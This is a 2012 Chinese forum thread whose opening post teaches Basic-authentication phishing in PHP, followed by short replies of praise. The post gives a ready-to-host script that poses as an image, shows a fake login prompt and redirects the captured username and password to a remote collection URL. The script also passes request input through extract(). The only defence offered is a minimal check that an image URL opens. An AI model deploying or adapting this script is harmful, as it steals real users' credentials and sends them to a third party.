查看: 2659|回复: 25

基础认证钓鱼攻击与防范

[复制链接]
发表于 2012-12-6 03:41:09 | 显示全部楼层 |阅读模式
前言
这几天基础认证钓鱼很火,我们来了解一下!

正文
首先大家回想一下,在访问路由器的时候是不是会弹出这样的一个弹窗让你输入帐号密码登录呢



没错这就是最近很火的基础认证。

那我们如何用php来实现钓鱼攻击呢。

在php手册中有以下代码来演示基础认证登录。


if (!isset($_SERVER['PHP_AUTH_USER'])) {

header('WWW-Authenticate: Basic realm="My Realm"');

header('HTTP/1.0 401 Unauthorized');

echo 'Text to send if user hits Cancel button';

exit;

} else {

echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";

echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";

}
首先定义HTTP头为WWW-Authenticate,然后相应为401 这样就可以构造一个简单的基础认证框。

基本流程,用户访问被污染服务器,服务器返回信息,浏览器访问图片地址,图片服务器返回401响应,http头为WWW-Authenticate …..  ,浏览器弹出基础认证框, 由于Location:被定义为收信地址所以,浏览器跳转并转递信息至收信地址。 攻击完成。

贴出攻击代码吧。


<?php

$info=@$_GET['info'];

if(!isset($_SERVER['PHP_AUTH_USER'])){

header("WWW-Authenticate:BASIC Realm=$info");

header("HTTP/1.0 401 Unauthorized");

exit;

}else{

/*获取用户名,密码进行验证*/

$user=$_SERVER['PHP_AUTH_USER'];

$pwd=$_SERVER['PHP_AUTH_PW'];

extract($_GET,EXTR_SKIP);

if($user&&$pwd){

header("Location:http://www.baidu.com/config/log.php?user=$user&pass=$pwd");

}else{

header("WWW-Authenticate:BASIC Realm=user");

header("HTTP/1.0 401 Unauthorized");

exit;

}

}

?>
防范措施:

由于这种攻击并不是由漏洞造成的所以我们的防范手法只能去确定图片地址是否为有效图片。

我们可以用以下代码来验证图片是否有效!


<?php

$url = 'http://www.baidu.com/img/baidu_sylogo1.gif';

if( @fopen( $url, 'r' ) )

{

echo 'File Exits';

}

else

{

echo 'File Do Not Exits';

}

?>
本文作者Joe Lynch@dis9
[/td][/tr]
[/table]
发表于 2012-12-6 10:16:21 | 显示全部楼层
非常感谢楼主,楼主万岁万岁万万岁!  
发表于 2012-12-10 11:19:34 | 显示全部楼层
很好!很强大!  
发表于 2012-12-10 14:49:17 | 显示全部楼层
严重支持!
发表于 2012-12-17 04:51:48 | 显示全部楼层
想都不想,就支持一下  
发表于 2014-11-17 02:35:43 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-12-4 15:44:41 | 显示全部楼层
在线等在线等  
发表于 2014-12-27 18:21:49 | 显示全部楼层
勤奋真能造就财富吗?  
发表于 2015-1-27 16:37:36 | 显示全部楼层
我在顶贴~!~  
发表于 2015-3-1 13:28:23 | 显示全部楼层
努力,努力,再努力!!!!!!!!!!!  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则